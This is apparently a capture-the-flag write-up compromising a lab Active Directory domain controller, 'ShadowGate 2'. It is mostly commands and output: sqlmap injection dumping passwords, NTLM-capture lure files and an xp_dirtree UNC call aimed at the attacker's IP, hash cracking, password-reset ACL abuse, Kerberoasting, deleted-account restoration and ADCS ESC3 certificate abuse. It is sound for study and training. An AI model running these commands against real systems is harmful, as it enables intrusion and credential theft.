HackSmarter
ShadowGate2
- Nmap
- FFUF
- vhost-fuzzer.sh
- sqlmap
- Caido
- ntlm_theft
- Responder
- Hashcat
- NetExec / nxc
- rpcclient
- bloodyAD
- BloodHound / BloodHound.py
- targetedKerberoast
- smbclient
- Impacket mssqlclient
- Evil-WinRM
- Certipy
ShadowGate 2
Target Information
| Property | Value |
|---|---|
| Target | 10.1.87.219 (shadowgate.local) |
| Hostname | SG-DC01.shadowgate.local |
| Platform | Windows Server 2019 (Build 17763), Domain Controller |
Enumeration
Port Scan
Initial Nmap scan identified the target as a Windows Domain Controller running IIS and MSSQL.
Nmap scan report for shadowgate.local (10.1.87.219)
Host is up (0.15s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: ShadowGate | Advanced Cyber Security Solutions
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-27 11:34:51Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.1.87.219:1433:
| Target_Name: SHADOWGATE
| NetBIOS_Domain_Name: SHADOWGATE
| NetBIOS_Computer_Name: SG-DC01
| DNS_Domain_Name: shadowgate.local
| DNS_Computer_Name: SG-DC01.shadowgate.local
|_ Product_Version: 10.0.17763
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: SG-DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Confirmed AD DC (Kerberos/LDAP/SMB), a custom IIS site on port 80, and a live MSSQL instance on 1433.
Web Enumeration
Directory brute-forced the root site with FFUF, no useful paths.
ffuf -u http://10.1.87.219/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-e .php,.html,.bak,.zip,.sh,.txt \
-mc 200,302 -fs 1
index.html [Status: 200, Size: 63405, Words: 23964, Lines: 1906, Duration: 153ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
The base site only returned index.html. Switched to vhost fuzzing against shadowgate.local.
~/kali4niaL0ve-back/payloads/offensivesecurity/vhost-fuzzer.sh shadowgate.local /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://shadowgate.local 63405
dev [Status: 200, Size: 14924, Words: 4761, Lines: 425, Duration: 1320ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
Found the vhost dev.shadowgate.local.

The site was a “ShadowGate Dev Security Portal” with a developer login form and a promised “Secure File Upload System”.
Initial Access
SQL Injection via sqlmap
Crawled the login form and let sqlmap test it directly.
sqlmap -u "http://dev.shadowgate.local/" --forms --crawl=2 --batch
[1/1] Form:
POST http://dev.shadowgate.local/
POST data: __VIEWSTATE=...&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=...&txtUser=&txtPass=&btnLogin=Access%20Developer%20Portal
do you want to test this form? [Y/n/q]
> Y
[11:54:21] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtUser (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ...&txtUser=bsrp';WAITFOR DELAY '0:0:5'--&txtPass=QADJ&btnLogin=Access Developer Portal
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: ...&txtUser=bsrp' WAITFOR DELAY '0:0:5'-- fdjp&txtPass=QADJ&btnLogin=Access Developer Portal
---
[11:54:21] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2019
The txtUser parameter was injectable via stacked queries and time-based blind against MSSQL.
Captured a raw login request with Caido to reuse against sqlmap directly.

POST / HTTP/1.1
Host: dev.shadowgate.local
Content-Length: 338
Origin: http://dev.shadowgate.local
Content-Type: application/x-www-form-urlencoded
Referer: http://dev.shadowgate.local/
__VIEWSTATE=%2FwEPDwULLTE3MDc5MjQzOTdkZE2e26GOFTJXV6SOYKuFA71xWLzmcUVEK2jjOKeVzwwY&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAAS0kCEje1XibU4g%2FRmPiFeGDFTzKcXJqLg%2BOeJ6QAEa2kPTPkdPWl%2B8YN2NtDCtxieinihG6d%2FXh3PZm3b5AoMQCfiE5DLw0OZMrhjw8AM5il324VFp4hxfcNaSQW8gYOE%3D&txtUser=test&txtPass=sets&btnLogin=Access+Developer+Portal
Saved as request.txt and used it for the rest of the sqlmap enumeration.
sqlmap -r request.txt --current-user
[11:55:35] [INFO] fetching current user
webuser
current user: 'webuser'
sqlmap -r request.txt --current-db
[11:57:27] [INFO] fetching current database
[11:57:27] [INFO] resumed: ShadowGate
current database: 'ShadowGate'
sqlmap -r request.txt --dbs
available databases [4]:
[*] [ShadowGate]
[*] model
[*] msdb
[*] tempdb
sqlmap -r request.txt -D ShadowGate --tables
Database: ShadowGate
[1 table]
+-------+
| Users |
+-------+
sqlmap -r request.txt -D ShadowGate -T Users --dump
Database: ShadowGate
Table: Users
[3 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | donald1993 | mitch.r |
| 2 | BlueSky22 | oscar.m |
| 3 | Admin123! | admin |
+----+------------+----------+
Dumped three application-level credentials for the dev portal’s own Users table.
Credential Validation
Tried the dumped admin credential against the domain over SMB first.
nxc smb shadowgate.local -u 'admin' -p 'Admin123!'
SMB 10.1.87.219 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:False)
SMB 10.1.87.219 445 SG-DC01 [-] shadowgate.local\admin:Admin123! STATUS_LOGON_FAILURE
The dumped credentials didn’t match domain accounts, so admin:Admin123! failed on SMB. Since the portal explicitly advertised a “Secure File Upload System”, tried the credentials directly against the web login instead.

Logging in as admin:Admin123! on the portal itself succeeded and exposed the upload feature.

The upload page stated files are synced to both the local dev server (C:\dev\) and the domain controller share (\\SG-DC01\dev$\), which meant an uploaded lure file would land directly on a share the DC could browse.
Credential Discovery
NTLM Coercion via the Upload Feature
Generated NTLM capture lure files targeting the attacker box.
python3 ~/kali4niaL0ve-back/payloads/tools/ntlm_theft/ntlm_theft.py --generate all --server 10.200.73.114 --filename Update
Created: Update/Update.scf (BROWSE TO FOLDER)
Created: Update/Update-(url).url (BROWSE TO FOLDER)
Created: Update/Update-(icon).url (BROWSE TO FOLDER)
Created: Update/Update.lnk (BROWSE TO FOLDER)
Created: Update/Update.rtf (OPEN)
Created: Update/Update-(stylesheet).xml (OPEN)
Created: Update/Update-(fulldocx).xml (OPEN)
Created: Update/Update.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: Update/Update-(includepicture).docx (OPEN)
Created: Update/Update-(remotetemplate).docx (OPEN)
Created: Update/Update-(frameset).docx (OPEN)
Created: Update/Update-(externalcell).xlsx (OPEN)
Created: Update/Update.wax (OPEN)
Created: Update/Update.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: Update/Update.asx (OPEN)
Created: Update/Update.jnlp (OPEN)
Created: Update/Update.application (DOWNLOAD AND OPEN)
Created: Update/Update.pdf (OPEN AND ALLOW)
Created: Update/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: Update/Autorun.inf (BROWSE TO FOLDER)
Created: Update/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
Started Responder to catch any inbound NTLM authentication.
sudo responder -I tun0
[+] Listening for events...
Uploaded Update.lnk through the portal’s upload feature while authenticated as mitch.r.
.png)
✓ Upload successful! File saved to: C:\dev\Update.lnk
Shortly after, Responder captured an inbound NTLMv2-SSP authentication for the domain account mitch.r, coerced by something on the DC browsing the synced dev$ share.
[SMB] NTLMv2-SSP Client : 10.1.87.219
[SMB] NTLMv2-SSP Username : SHADOWGATE\mitch.r
[SMB] NTLMv2-SSP Hash : mitch.r::SHADOWGATE:6d09ab4bf373d39c:C9171375F17390F620695227EF6AE9B6:010100000000000000BBC4B7C11DDD01A5B862B0C745E4B700000000020008004900320041004F0001001E00570049004E002D00490049003800530051004E004800540052003600490004003400570049004E002D00490049003800530051004E00480054005200360049002E004900320041004F002E004C004F00430041004C00030014004900320041004F002E004C004F00430041004C00050014004900320041004F002E004C004F00430041004C000700080000BBC4B7C11DDD0106000400020000000800300030000000000000000100000000200000125AE316580D223DFBF28337C5463F2525F9ABEA763F1C9B885601AD5486B6100A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E00370033002E003100310034000000000000000000
[*] Exiting...
Crack NetNTLMv2 Hash
hashcat -m 5600 mitch-hash ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt --force
MITCH.R::SHADOWGATE:6d09ab4bf373d39c:c9171375f17390f620695227ef6ae9b6:...:snitch1993
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Recovered domain credentials:
mitch.r:snitch1993
Post-Foothold Enumeration
Validated mitch.r against SMB and enumerated shares.
nxc smb shadowgate.local -u 'mitch.r' -p 'snitch1993'
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\mitch.r:snitch1993
nxc smb shadowgate.local -u 'mitch.r' -p 'snitch1993' --shares
SMB 10.1.87.219 445 SG-DC01 Share Permissions Remark
SMB 10.1.87.219 445 SG-DC01 ----- ----------- ------
SMB 10.1.87.219 445 SG-DC01 ADMIN$ Remote Admin
SMB 10.1.87.219 445 SG-DC01 C$ Default share
SMB 10.1.87.219 445 SG-DC01 dev$ READ,WRITE
SMB 10.1.87.219 445 SG-DC01 IPC$ READ Remote IPC
SMB 10.1.87.219 445 SG-DC01 NETLOGON READ Logon server share
SMB 10.1.87.219 445 SG-DC01 SYSVOL READ Logon server share
Confirmed mitch.r had READ,WRITE on dev$, matching the portal’s synced upload path.
smbclient //10.1.87.219/dev$ -U 'mitch.r'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 27 12:23:27 2026
.. D 0 Mon Jul 27 12:23:27 2026
12966143 blocks of size 4096. 8676054 blocks available
BloodHound Collection
~/kali4niaL0ve-back/payloads/offensivesecurity/active-directory/ad-bloodhound.sh
Domain: shadowgate.local
Username: mitch.r
Password: snitch1993
IP of Domain: 10.1.87.219
INFO: Found AD domain: shadowgate.local
INFO: Found 1 computers
INFO: Found 11 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 34S
bloodhound
Starting neo4j
Started neo4j (pid:59024). It is available at http://localhost:7474
opening http://127.0.0.1:8080
BloodHound showed mitch.r held ForceChangePassword over milo.w, and milo.w held WriteOwner over svc_mssql.

Lateral Movement
Abusing ForceChangePassword: mitch.r -> milo.w
rpcclient -U "shadowgate.local\mitch.r%snitch1993" 10.1.87.219
rpcclient $> setuserinfo2 MILO.W 23 "TempP@ssw0rd"
rpcclient $> ^C
nxc smb shadowgate.local -u 'milo.w' -p 'TempP@ssw0rd' --shares
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\milo.w:TempP@ssw0rd
SMB 10.1.87.219 445 SG-DC01 Share Permissions Remark
SMB 10.1.87.219 445 SG-DC01 ----- ----------- ------
SMB 10.1.87.219 445 SG-DC01 ADMIN$ Remote Admin
SMB 10.1.87.219 445 SG-DC01 C$ Default share
SMB 10.1.87.219 445 SG-DC01 dev$ READ,WRITE
SMB 10.1.87.219 445 SG-DC01 IPC$ READ Remote IPC
SMB 10.1.87.219 445 SG-DC01 NETLOGON READ Logon server share
SMB 10.1.87.219 445 SG-DC01 SYSVOL READ Logon server share
Recovered credentials:
milo.w:TempP@ssw0rd
Tried Kerberoasting with milo.w before pursuing the BloodHound path further.
python3 ~/kali4niaL0ve-back/payloads/py/targetedKerberoast/targetedKerberoast.py -d shadowgate.local -u milo.w -p 'TempP@ssw0rd'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Administrator)
$krb5tgs$23$*Administrator$SHADOWGATE.LOCAL$shadowgate.local/Administrator*$ef36acbd92de8a42b056714e68bb10d0$9b2030d7388c8e99755b105eb9ae4de9d24e1ed0b5b6f3d61de662ff016e7134...
hashcat -m 13100 admin-hash ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt --force
Session..........: hashcat
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344393/14344393 (100.00%)
The Administrator TGS hash did not crack against rockyou. Pivoted back to the ACL path identified in BloodHound.
Abusing WriteOwner: milo.w -> svc_mssql
bloodyAD -d shadowgate.local \
-u milo.w \
-p 'TempP@ssw0rd' \
--host 10.1.87.219 \
set owner svc_mssql milo.w
[+] Old owner S-1-5-21-2396436576-3267128377-3646372360-512 is now replaced by milo.w on svc_mssql
bloodyAD -d shadowgate.local \
-u milo.w \
-p 'TempP@ssw0rd' \
--host 10.1.87.219 \
add genericAll svc_mssql milo.w
[+] milo.w has now GenericAll on svc_mssql
bloodyAD -d shadowgate.local \
-u milo.w \
-p 'TempP@ssw0rd' \
--host 10.1.87.219 \
set password svc_mssql 'TempP@ssw0rd'
[+] Password changed successfully!
Recovered credentials:
svc_mssql:TempP@ssw0rd
nxc smb shadowgate.local -u 'svc_mssql' -p 'TempP@ssw0rd' --shares
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\svc_mssql:TempP@ssw0rd
nxc mssql shadowgate.local -u 'svc_mssql' -p 'TempP@ssw0rd'
MSSQL 10.1.87.219 1433 SG-DC01 [+] shadowgate.local\svc_mssql:TempP@ssw0rd
MSSQL Access
impacket-mssqlclient -windows-auth shadowgate.local/svc_mssql:'TempP@ssw0rd'@10.1.87.219
SQL (SHADOWGATE\svc_mssql guest@master)> SELECT SYSTEM_USER;
SHADOWGATE\svc_mssql
SQL (SHADOWGATE\svc_mssql guest@master)> SELECT name FROM sys.databases;
master
tempdb
model
msdb
ShadowGate
SQL (SHADOWGATE\svc_mssql guest@master)> USE ShadowGate;
ERROR(SG-DC01\SQLEXPRESS): Line 1: The server principal "SHADOWGATE\svc_mssql" is not able to access the database "ShadowGate" under the current security context.
SQL (SHADOWGATE\svc_mssql guest@master)> SELECT USER_NAME();
guest
SQL (SHADOWGATE\svc_mssql guest@master)> EXEC xp_dirtree '\\10.200.73.114\share';
subdirectory depth
------------ -----
svc_mssql only had guest access to the ShadowGate database and the xp_dirtree UNC trigger produced no callback. This account didn’t yield further access, so a second Responder capture was attempted while other users were active on the domain.
sudo responder -I tun0
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.1.87.219
[SMB] NTLMv2-SSP Username : SHADOWGATE\bogdan.r
[SMB] NTLMv2-SSP Hash : bogdan.r::SHADOWGATE:a5ec78c526a81b8a:BE25D12B1489349BA9E3417B2D190D49:010100000000000080C3DA70C91DDD013091AC154BEBEA7D000000000200080052004E005600390001001E00570049004E002D005500490048003900440036005900300037003300420004003400570049004E002D00550049004800390044003600590030003700330042002E0052004E00560039002E004C004F00430041004C00030014004400...
Crack Second NetNTLMv2 Hash
hashcat -m 5600 bogdan-hash ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt --force
BOGDAN.R::SHADOWGATE:a5ec78c526a81b8a:be25d12b1489349ba9e3417b2d190d49:...:bogdan0126
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Recovered credentials:
bogdan.r:bogdan0126
nxc smb shadowgate.local -u 'bogdan.r' -p 'bogdan0126' --shares
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\bogdan.r:bogdan0126
Abusing GenericAll: bogdan.r -> daniel.r / oscar.m
The same BloodHound graph from the earlier mitch.r collection showed bogdan.r held GenericAll over both daniel.r and oscar.m.

python3 ~/kali4niaL0ve-back/payloads/py/targetedKerberoast/targetedKerberoast.py -d shadowgate.local -u bogdan.r -p 'bogdan0126'
[*] Starting kerberoast attacks
[+] Printing hash for (Administrator)
$krb5tgs$23$*Administrator$SHADOWGATE.LOCAL$shadowgate.local/Administrator*$631ef01c79d2e6da33506a7104a1ae90$...
[+] Printing hash for (daniel.r)
$krb5tgs$23$*daniel.r$SHADOWGATE.LOCAL$shadowgate.local/daniel.r*$486afaae7d25773231410d20ada3803a$...
[+] Printing hash for (oscar.m)
$krb5tgs$23$*oscar.m$SHADOWGATE.LOCAL$shadowgate.local/oscar.m*$40649e017bf00e3b07c5123280540336$...
Targeted Kerberoast returned TGS hashes for Administrator, daniel.r, and oscar.m, but with GenericAll already held over oscar.m a direct password reset was faster than cracking.
bloodyAD -d shadowgate.local \
-u bogdan.r \
-p 'bogdan0126' \
--host 10.1.87.219 \
set password oscar.m 'TempP@ssw0rd'
[+] Password changed successfully!
nxc smb shadowgate.local -u 'oscar.m' -p 'TempP@ssw0rd' --shares
SMB 10.1.87.219 445 SG-DC01 [-] shadowgate.local\oscar.m:TempP@ssw0rd STATUS_INVALID_LOGON_HOURS
The reset succeeded but login was blocked outside oscar.m’s allowed logon hours.
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u bogdan.r -p 'bogdan0126' set object oscar.m logonHours
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] oscar.m's logonHours has been updated
nxc smb shadowgate.local -u 'oscar.m' -p 'TempP@ssw0rd' --shares
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\oscar.m:TempP@ssw0rd
Recovered credentials:
oscar.m:TempP@ssw0rd
Privilege Escalation
oscar.m Shell Access
bloodyAD -d shadowgate.local \
-u oscar.m \
-p 'TempP@ssw0rd' \
--host 10.1.87.219 \
get writable
distinguishedName: CN=Users,DC=shadowgate,DC=local
permission: CREATE_CHILD
distinguishedName: CN=oscar.m,CN=Users,DC=shadowgate,DC=local
permission: WRITE
distinguishedName: CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE
oscar.m had write access to a deleted, tombstoned object: sam.h, though the account was still gone from the directory at this point. Checked the existing BloodHound graph for oscar.m’s own group memberships before connecting.

oscar.m belonged to Remote Management Users, which explained why WinRM access was reachable.
evil-winrm -i 10.1.87.219 -u 'oscar.m' -p 'TempP@ssw0rd'
*Evil-WinRM* PS C:\Users\oscar.m\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================== ==============================================
shadowgate\oscar.m S-1-5-21-2396436576-3267128377-3646372360-1109
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
SHADOWGATE\Shadowgate-IT-Support Group S-1-5-21-2396436576-3267128377-3646372360-1115 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\oscar.m\Documents> ls ../Desktop
Directory: C:\Users\oscar.m\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/4/2025 1:03 PM 6553 user.txt
*Evil-WinRM* PS C:\Users\oscar.m\Documents> type ../Desktop/user.txt
FLAG[shadowgate_user_integrity_breach_7f2c]
User flag obtained:
FLAG[shadowgate_user_integrity_breach_7f2c]
Finding sam.h
*Evil-WinRM* PS C:\Users\oscar.m> ls Mails
Directory: C:\Users\oscar.m\Mails
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/13/2026 6:08 AM 1804 termination_notice_sam_h.eml
*Evil-WinRM* PS C:\Users\oscar.m> type Mails/termination_notice_sam_h.eml
From: mitch.r
To: oscar.m
Subject: Update Regarding Sam H.’s Departure
Hi Oscar,
I wanted to inform you that Sam H. has officially resigned from his position. His user account is no longer needed and should be removed from the system.
Additionally, since Sam was responsible for certificate issuance management (Manage-CA), please identify a suitable replacement to ensure that our certificate services continue operating without interruption.
During a recent internal review, we also identified a potential ESC-related misconfiguration within our Active Directory Certificate Services environment. While no abuse has been confirmed, the configuration could allow unintended certificate enrollment or privilege escalation if left unmanaged. This finding further emphasizes the need for proper ownership and oversight of the CA role.
As a temporary security measure, the LDAP/RPC enrollment ports on the CA server have been blocked at the firewall, since there is currently no designated staff member to oversee certificate operations.
Please note:
If no suitable successor for Sam’s role is appointed in a timely manner, we may be required to shut down the certificate service entirely. Without proper oversight, there is a heightened risk that someone could attempt to bypass or tunnel around the firewall restrictions, especially in light of the identified ESC weakness, leading to potential misuse of our enrollment endpoints. This measure would be taken to ensure the security and integrity of our environment.
Once a new responsible person is appointed, the blocked ports can be re-enabled to restore full certificate enrollment capabilities.
Let me know once the account has been removed and when you have identified a candidate for the role.
Regards,
Mitch R.
This email confirmed sam.h was the CA’s Manage-CA officer and had been deleted, and flagged an ESC misconfiguration on the CA. oscar.m’s writable Deleted Objects entry for sam.h meant the account could be restored.
Restoring the Deleted sam.h Account
bloodyAD \
--host SG-DC01.shadowgate.local \
-d shadowgate.local \
-u 'oscar.m' \
-p 'TempP@ssw0rd' \
get search \
--base 'CN=Deleted Objects,DC=shadowgate,DC=local' \
--filter '(isDeleted=TRUE)' \
--attr 'distinguishedName,sAMAccountName,cn,lastKnownParent,objectGUID,isDeleted' \
-c 1.2.840.113556.1.4.2064 \
-c 1.2.840.113556.1.4.2065 \
--raw
distinguishedName: CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local
cn: sam.h
DEL:c9316c03-4a09-4d46-9db0-f45925e154f1
isDeleted: TRUE
lastKnownParent: CN=Users,DC=shadowgate,DC=local
objectGUID: A2wxyQlKRk2dsPRZJeFU8Q==
sAMAccountName: sam.h
bloodyAD \
--host SG-DC01.shadowgate.local \
-d shadowgate.local \
-u 'oscar.m' \
-p 'TempP@ssw0rd' \
set restore \
'CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local'
[+] CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local has been restored successfully under CN=sam.h,CN=Users,DC=shadowgate,DC=local
bloodyAD \
--host SG-DC01.shadowgate.local \
-d shadowgate.local \
-u 'oscar.m' \
-p 'TempP@ssw0rd' \
get object 'sam.h'
distinguishedName: CN=sam.h,CN=Users,DC=shadowgate,DC=local
description: Manages certificate enrollment processes and is authorized to request and validate certificates.
name: sam.h
sAMAccountName: sam.h
userAccountControl: NORMAL_ACCOUNT
userPrincipalName: sam.h@shadowgate.local
ADCS Enumeration as sam.h
Re-ran BloodHound collection as oscar.m to refresh the graph now that sam.h existed again in the directory.
~/kali4niaL0ve-back/payloads/offensivesecurity/active-directory/ad-bloodhound.sh
Domain: shadowgate.local
Username: oscar.m
Password: TempP@ssw0rd
IP of Domain: 10.1.87.219
INFO: Found 12 users
INFO: Found 56 groups
INFO: Done in 00M 30S
The refreshed graph confirmed oscar.m’s Shadowgate-IT-Support membership carried GenericAll over the restored sam.h, which is what had made the earlier restore and password reset possible.

With the account restored and Shadowgate-IT-Support’s GenericAll intact, reset the password.
bloodyAD \
--host SG-DC01.shadowgate.local \
-d shadowgate.local \
-u 'oscar.m' \
-p 'TempP@ssw0rd' \
set password 'sam.h' 'TempP@ssw0rd'
[+] Password changed successfully!
Recovered credentials:
sam.h:TempP@ssw0rd
nxc smb SG-DC01.shadowgate.local -u 'sam.h' -p 'TempP@ssw0rd' --shares
SMB 10.1.87.219 445 SG-DC01 [+] shadowgate.local\sam.h:TempP@ssw0rd
Enumerated the CA with Certipy using the recovered sam.h credentials.
certipy-ad find \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-target SG-DC01.shadowgate.local \
-ldap-scheme ldap \
-ldap-port 389 \
-enabled \
-vulnerable \
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Retrieving CA configuration for 'Shadowgate-CA' via RRP
[*] Successfully retrieved CA configuration for 'Shadowgate-CA'
[*] Checking web enrollment for CA 'Shadowgate-CA' @ 'SG-DC01.shadowgate.local'
[!] Error checking web enrollment: timed out
The full findings were written to 20260727145823_Certipy.txt. The CA itself had web enrollment disabled entirely (explaining the timeout, not a firewall block), and sam.h held direct, SID-based Enroll, ManageCa, and Read rights on Shadowgate-CA — rights that survived the earlier delete/restore since the SID never changed. Certipy flagged this directly:
Certificate Authorities
0
CA Name : Shadowgate-CA
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
Permissions
Owner : SHADOWGATE.LOCAL\Administrators
Access Rights
Enroll : SHADOWGATE.LOCAL\Authenticated Users
SHADOWGATE.LOCAL\sam.h
ManageCa : SHADOWGATE.LOCAL\Domain Admins
SHADOWGATE.LOCAL\Enterprise Admins
SHADOWGATE.LOCAL\Administrators
SHADOWGATE.LOCAL\sam.h
ManageCertificates : SHADOWGATE.LOCAL\Domain Admins
SHADOWGATE.LOCAL\Enterprise Admins
SHADOWGATE.LOCAL\Administrators
Read : SHADOWGATE.LOCAL\sam.h
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates
0
Template Name : Shadowgate-EnrollmentAgent
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : SHADOWGATE.LOCAL\sam.h
SHADOWGATE.LOCAL\Domain Admins
SHADOWGATE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set.
sam.h did not hold ManageCertificates directly, so sam.h could not yet self-issue certificates as a CA officer — but the Shadowgate-EnrollmentAgent template’s ESC3 condition (Certificate Request Agent EKU) was usable immediately with just Enroll.
Certificate-Based Escalation to Administrator
Requested an Enrollment Agent certificate as sam.h, using the ESC3 template flagged above.
certipy-ad req \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-template Shadowgate-EnrollmentAgent \
-dynamic-endpoint \
-timeout 30 \
-debug
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'sam.h@shadowgate.local'
[+] Found SID in security extension: 'S-1-5-21-2396436576-3267128377-3646372360-1114'
[*] Saving certificate and private key to 'sam.h.pfx'
Used the Enrollment Agent certificate to request a User template certificate on behalf of the Administrator (ESC3).
certipy-ad req \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-template User \
-on-behalf-of 'SHADOWGATE\Administrator' \
-pfx sam.h.pfx \
-dynamic-endpoint \
-timeout 30 \
-debug
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@shadowgate.local'
[+] Found SID in security extension: 'S-1-5-21-2396436576-3267128377-3646372360-500'
[*] Saving certificate and private key to 'administrator.pfx'
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 10.1.87.219 \
-debug
[*] Certificate identities:
[*] SAN UPN: 'Administrator@shadowgate.local'
[*] Security Extension SID: 'S-1-5-21-2396436576-3267128377-3646372360-500'
[*] Using principal: 'administrator@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
